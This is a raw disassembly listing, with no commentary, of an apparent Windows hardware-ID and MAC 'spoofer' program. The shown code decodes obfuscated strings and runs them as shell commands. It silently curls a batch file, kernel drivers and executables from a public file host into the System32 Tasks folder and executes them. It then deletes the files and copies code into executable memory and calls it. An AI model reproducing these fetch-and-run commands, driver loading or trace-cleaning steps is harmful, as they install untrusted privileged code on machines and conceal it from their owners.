pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140015d90
cmp r8d, 0x2d
jge 0x140015ec5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140015e90
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3200]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3220]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3240]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3260]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3260]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3240]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3220]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3200]
call fcn.140022f30
nop
lea rcx, [rbp + 0x31e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x31c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3280]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x32a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x54c8]
lea rcx, [rsp + 0x7d]
call fcn.14001f2a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140016115
mov r8d, ebx
cmp r14d, 2
jl 0x1400160d3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140015fe0
cmp r8d, 0x2d
jge 0x140016115
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400160e0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x32c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x32e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3300]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3320]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3320]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3300]
call fcn.140022f30
nop
lea rcx, [rbp + 0x32e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x32c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x32a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3280]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3340]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3360]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x54f8]
lea rcx, [rsp + 0x7e]
call fcn.14001f2e0
mov r9, rax
cmp byte [rax + 0x2c], 0
je 0x140016360
cmp r14d, 2
jl 0x14001631e
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x140016230
cmp ebx, 0x2d
jge 0x140016360
movsxd r8, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2d
jl 0x140016330
mov r8, rsi
mov rdx, r9
lea rcx, [rbp + 0x3380]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x33a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x33c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x33e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x33e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x33c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x33a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3380]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3360]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3340]
call fcn.140022f30
lea rdx, str._i__Spoofing_Finished__2_2__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rdx, str._i__Spoofing_MAC_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._i__MAC_Successfully_Spoofed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x1400eb320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._i__Spoofing_Is_Finished_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rdx, str._i__Closing_Spoofer__Re_open_to_check_serials_etc_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rcx, str.pause_nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksiqvw64e.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32TasksVolumeid64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Spoofing_MSI
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str._i__Starting_the_first_part_of_spoofing__0_2__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl___silent_https:__files.catbox.moe_gv7xzv.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_j7goj8.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32TasksVolumeid64.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x298]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3400]
call fcn.140005630
mov rdi, rax
lea rdx, [rbp + 0x6848]
lea rcx, [rsp + 0x7f]
call fcn.14001e7a0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x1400166f5
mov r8d, ebx
cmp esi, 2
jl 0x1400166b3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400165c0
cmp r8d, 0x39
jge 0x1400166f5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400166c0
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x3420]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x2a0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
movabs r14, 0xff00ff00ff00ff00
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov r13d, 3
lea rsi, [0x140023f70]
lea rdi, [0x140000000]
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001679e
mov rdx, rbx
cmp rax, rsi
je 0x14001678d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140016775
jmp 0x14001679e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001687f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400167c7
mov r8, rbx
jmp 0x14001685e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400167d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x2a0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3420]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3400]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3440]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6190]
lea rcx, [rbp - 0x80]
call fcn.14001e7e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140016a42
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140016a0d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140016920
jmp 0x140016a42
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140016a10
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3460]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x2b0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140016acd
mov rdx, rbx
cmp rax, rsi
je 0x140016abc
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140016aa4
jmp 0x140016acd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140016baf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016af6
mov r8, rbx
jmp 0x140016b8e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016b00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x2b0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3460]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3440]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3480]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x61c8]
lea rcx, [rbp - 0x7f]
call fcn.14001e7e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140016d72
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140016d3d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140016c50
jmp 0x140016d72
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140016d40
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x34a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x2c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140016dfd
mov rdx, rbx
cmp rax, rsi
je 0x140016dec
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140016dd4
jmp 0x140016dfd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140016edf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016e26
mov r8, rbx
jmp 0x140016ebe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016e30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x2c0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x34a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3480]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c8]
call fcn.140022d20
mov r12, rax
